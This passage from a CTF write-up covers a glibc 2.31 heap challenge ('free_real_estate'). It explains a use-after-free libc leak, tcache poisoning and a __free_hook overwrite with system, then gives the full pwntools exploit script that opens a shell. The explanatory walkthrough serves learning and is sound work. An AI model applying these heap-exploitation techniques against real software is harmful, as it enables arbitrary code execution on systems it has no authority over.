0x55802d04d540	0x0000000000000000	0x0000000000000000
0x55802d04d550	0x0000000000000000	0x0000000000000261	 <-- unsortedbin[all][0]
0x55802d04d560	0x00007fe1975bfbe0	0x00007fe1975bfbe0
...
0x55802d04d7b0	0x0000000000000260	0x0000000000000030
0x55802d04d7c0	0x000000006f616d6c	0x0000000000000000
0x55802d04d7d0	0x0000000000000000	0x0000000000000000
0x55802d04d7e0	0x0000000000000000	0x0000000000020821	 <-- Top chunk

Next step would be we need to consecutively alloc 0x60 chunks. Okay, so now, let’s call edit_property to change the street name.

1
edit_property(r, 0x49, b'a'*0x8, 0)

By doing that, now the bins will be like below:

1
2
tcachebins
0x60 [  1]: 0x7fe1975c1e48 (__free_hook) ◂— 0x0

Also now, street and comment point to the same address (Because comment is a freed chunk, and during street call malloc, the comment chunk is used).

We are very close to solve this problem. Now, we need to do another malloc to be able overwrite the __free_hook. But unfortunately, both of the street and comment object size is already 0x60, and we can’t malloc them without freeing the 0x60 chunk. Here where username will take part. Remember that change_username is able to forge chunks located between username and username+0x427. And the street & comment chunk (0x000055802d04d490) is located on there. What we’re going to do now is with change_username, forge the 0x000055802d04d490 chunk’s size metadata to 0x51, and then we’re going to edit it to 0x61 with value the system address, so that we will:

  • Free the forged chunk and put it inside 0x51 tcachebins instead of 0x61
  • Allocate 0x60 chunk (which mean street/comment will points to __free_hook now)
  • Allocated the system address to the __free_hook via edit_property by editing the street/comment
1
2
3
change_username(r, 500, p64(0)*31 + p64(0x51)) # Forge metadata of the chunk's size to 0x51
edit_property(r, 0x20, b'a'*0x8, 0) # Reset the stored size value first
edit_property(r, 0x49, p64(system), 0) # Instead of freeing the 0x60 chunk, it will free the 0x51 and malloc 0x60 chunk

After the above code, we’re finally overwrite the __free_hook with system. Now, we just need to change the street value to /bin/sh\x00 and free it 😄

1
2
3
edit_property(r, 0, p64(system), 13, b'/bin/sh\x00', True)
edit_property(r, 0, p64(system), 0x90, b'', True, True)
r.interactive()

Finally, we got the shell!

https://i.imgur.com/GhRc2WN.jpg

Final script

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
from pwn import *
from pwn import p64, u64, p32, u32

context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

exe = ELF("./free_real_estate")
libc = ELF("./libc-2.31.so")
ld = ELF("./ld-2.31.so")
main_arena = 0x1ecb80

context.binary = exe

def conn():
    print(args)
    if args.LOCAL:
        r = process([exe.path])
        if args.PLT_DEBUG:
            gdb.attach(r)
    else:
        r = remote("challenge.nahamcon.com", 32491)

    return r

def add_property(r, lsn, sn, lc, comment=''):
    r.sendlineafter(b'> ', b'2')
    r.sendlineafter(b'Enter the house number: ', str(10).encode()) # Isn't useful. Just set any value.
    r.sendlineafter(b'What is the length of the street name: ', str(lsn).encode())
    r.sendlineafter(b'Enter the street name: ', sn)
    r.sendlineafter(b'What is the price of the property?: ', str(10).encode()) # Isn't useful. Just set any value.
    if lc == 0:
        r.sendlineafter(b'Would you like to add a comment for this property? [y/n]: ', b'n')
    else:
        r.sendlineafter(b'Would you like to add a comment for this property? [y/n]: ', b'y')
        r.sendlineafter(b'What is the length of the comment?: ', str(lc).encode())
        r.sendlineafter(b'Enter the comment: ', comment)

def edit_property(r, lsn, sn, lc, comment='', change_comment=False, is_free_hook_overwritted=False):
    r.sendlineafter(b'> ', b'4')
    r.sendlineafter(b'Would you like to change the house number? [y/n]: ', b'n') # Isn't useful. No need to edit.
    if lsn == 0:
        r.sendlineafter(b'Would you like to change the street? [y/n]: ', b'n')
    else:
        r.sendlineafter(b'Would you like to change the street? [y/n]: ', b'y')
        r.sendlineafter(b'Enter the new street name length: ', str(lsn).encode())
        r.sendlineafter(b'Enter the new street name: ', sn)
    r.sendlineafter(b'Would you like to change the price of the property? [y/n]: ', b'n') # Isn't useful. No need to edit.
    if lc == 0:
        r.sendlineafter(b'Would you like to change the comment? [y/n]: ', b'n')
    else:
        if not change_comment:
            r.sendlineafter(b'Would you like to add a comment for this property? [y/n]: ', b'y')
            r.sendlineafter(b'What is the length of the comment?: ', str(lc).encode())
            r.sendlineafter(b'Enter the comment: ', comment)
        else:
            r.sendlineafter(b'Would you like to change the comment? [y/n]: ', b'y')
            r.sendlineafter(b'Enter the new comment length: ', str(lc).encode())
            if is_free_hook_overwritted:
                # No need to enter new comment, as we have overwritten it with system
                return
            r.sendlineafter(b'Enter the new comment: ', comment)

def remove_property(r):
    r.sendlineafter(b'> ', b'3')

def show_property(r):
    r.sendlineafter(b'> ', b'1')
    r.recvline().strip()
    r.recvline().strip()
    r.recvline().strip()
    r.recvline().strip()
    r.recvline().strip()
    comment = r.recvline().strip().split(b': ')[1] # We only care the comment value
    return comment

def change_username(r, ln, name):
    r.sendlineafter(b'> ', b'5')
    r.sendlineafter(b'What is the length of your new name?: ', str(ln).encode())
    r.sendlineafter(b'Enter your new name: ', name)

r = conn()

# After first connection, by default the binary will call malloc(0x40)
# and use this heap chunk for property variable
r.sendlineafter(b'Enter your name: ', p64(0xdeadbeef))

'''
Part 1: Leak Libc base address
'''
# Create big chunk for Comment
# Chunk-1: Street name
# Chunk-2: Comment
add_property(r, 0x10, b'lmao', 0x427, b'lmao')

# Prevent consolidate
# Chunk-1 got freed -> tcache
# Chunk-3: Street name
edit_property(r, 0x20, b'lmao', 0)

# Free all
# Chunk-2 got freed -> unsorted_bin due to its large size
# Chunk-3 got freed -> Tcache
remove_property(r)

# Due to bug on remove_property, even though we create a new property without comment,
# the property's comment still point to the freed chunk, hence we can leak libc address
# via show_property due to the fact that unsorted_bin point to libc main_arena + 0x60.
# Create new property without comment & show its property
add_property(r, 0x10, b'lmao', 0)
leaked_libc = u64(show_property(r).ljust(8, b'\x00'))
log.info(f'leaked_libc: {hex(leaked_libc)}')
libc_base = leaked_libc - main_arena - 0x60
log.info(f'libc_base: {hex(libc_base)}')
libc.address = libc_base
free_hook = libc.symbols['__free_hook']
system = libc.symbols['system']
log.info(f'__free_hook@libc: {hex(free_hook)}')
log.info(f'system@libc: {hex(system)}')

'''
Part 2: Overwrite __free_hook with system
'''
# Final target will be to:
# - Tcache poisoning to overwrite the freed chunk pointer with __free_hook

# We want to clean it up. To be able to call remove_property, we need to malloc(0x427+1)
# to fill up the freed chunk of comment, so that we won't double free comment chunk.
# The trick is we can leverage change_username feature to do this
change_username(r, 0x427, b'lmao')
remove_property(r)

# Notice that now, username and comment still points to the same pointer
# To make it points to different pointer, we simply create new property
# and remove it.
# Notes:
# - The street chunk will use the unsorted bin cache by reducing its size
#   because we don't have any tcache yet with size 0xa1.
# - The comment chunk will use the tcache[0x30]
# Also notes that:
# - The stored size of username is 0x427+1
# - The username is still pointing to the unsorted bin chunk
# - Now, everytime we try to alloc a chunk size that is < unsorted bin chunk size
#   it will use the unsorted bin chunk by reducing its chunk size per alloc
# - And because the code is allowing us to change the username value without free & malloc
#   if the size is < stored size (0x427+1), basically after this moment, we can rewrite
#   new chunks those use the unsorted bin chunks via change username :)
add_property(r, 0x89, b'lmao', 0x20, b'lmao')
remove_property(r)

# Now username and comment isn't pointing to the same chunk
# Notice that due to the freed comment chunk is not nulled by remove_property,
# not only we can leak the freed chunk content, we can also overwrite it via
# edit_property.
# Notice that the freed order in remove_property are:
# - Comment
# - Street (and nulled it)
# - Property (and nulled itself)
# However, because we can only manipulate the freed comment chunk, we need to place the
# freed comment chunk as the second entry of the tcache bins.
# How to achieve that? We can use the edit_property
# We plan to manipulate tcache[0x60], so we set the chunk size to 0x49+1
# Create two 0x60 chunks (street and comment)
add_property(r, 0x49, b'lmao', 0x49, b'lmao')

# Edit the street name to higher chunk size.
# Now, tcache[0x60][0] = address of old street chunk
edit_property(r, 0x59, b'lmao', 0)

# Now, call remove_property. It will freed comment, street, and property itself
# State after remove:
# tcache_bins[0x60] = old street chunk <- comment chunk
remove_property(r)

# Create new property without comment. We're going to overwrite the freed comment chunk
add_property(r, 0x20, b'lmao', 0)

# Edit it to free_hook address
# After state:
# tcache_bins[0x60] = __free_hook <- comment chunk
edit_property(r, 0, b'lmao', 0x20, p64(free_hook), True)

# Make malloc(0x49+1) to use the tcache_bins[0x60]
# After state:
# tcache_bins[0x60] = __free_hook
# street and comment pointing to the same chunk due to this
edit_property(r, 0x49, b'a'*0x8, 0)

# Tricky part is here. Remember that:
# - username's stored size is 0x478
# - username chunk address is lower than the current property chunk
# - So far, based on GDB, we have used the unsorted bin chunk
#   about 0x01+0x60+0x60+0x70
# - We want to modify the chunk size of the street, which is
#   the second 0x60 chunk starting from the address that username points
change_username(r, 500, p64(0)*31 + p64(0x51))

# Change the street stored size to smaller size first
edit_property(r, 0x20, b'a'*0x8, 0)

# Because we alloc larger size than 0x20, edit_property will free & alloc.
# And because we forge the chunk size to 0x51, now this edit will:
# - Free 0x50 chunk
# - Malloc(0x49+1) to use the tcache_bins[0x60]. Because bins is pointing to
#   __free_hook, the street name is now pointing to it
edit_property(r, 0x49, p64(system), 0)

# Set the comment value to /bin/sh
edit_property(r, 0, p64(system), 13, b'/bin/sh\x00', True)

# Free the comment, and we will call
# system('/bin/sh\x00')
edit_property(r, 0, p64(system), 0x90, b'', True, True)
r.interactive()

Social Media

Follow me on twitter